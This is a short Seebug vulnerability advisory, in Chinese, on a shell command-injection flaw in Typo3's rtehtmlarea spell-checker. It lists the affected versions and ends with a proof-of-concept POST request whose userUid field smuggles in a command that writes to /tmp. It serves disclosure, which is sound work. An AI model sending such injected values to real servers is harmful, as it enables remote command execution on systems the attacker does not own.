Typo3 Class.TX_RTEHTMLArea_PI1.PHP多个命令执行漏洞

2006-12-22T00:00:00
ID SSV:1013
Type seebug
Reporter Root
Modified 2006-12-22T00:00:00

Description

Typo3是一款基于PHP的WEB应用程序。

Typo3不正确过滤用户提交的输入,远程攻击者可以利用漏洞以WEB权限执行任意命令。

问题是脚本对用户提交的'useruid'参数缺少过滤,提交包含SHELL元字符命令的字符串作为参数数据,可导致以WEB权限执行任意命令。

Typo3 Typo3 4.0.3 Typo3 Typo3 4.0.2 Typo3 Typo3 4.0.1 Typo3 Typo3 3.7 .0 Typo3 Typo3 4.0 Typo3 Typo3 3.8 <a href="http://typo3.org/" target="_blank">http://typo3.org/</a>

                                        
                                            
                                                Attackers can exploit these issues via a web client.

The following proof-of-concept example is available:

POST /typo3/sysext/rtehtmlarea/htmlarea/plugins/SpellChecker/spell-
check-logic.php?id=1 HTTP/1.1
Host: www.example.com
User-Agent: none
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

psell_mode=fast&amp;to_p_dict=1&amp;cmd=learn&amp;userUid=test;+echo+'shell'+&gt;+
/tmp/shell.txt+%23&amp;enablePersonalDicts=true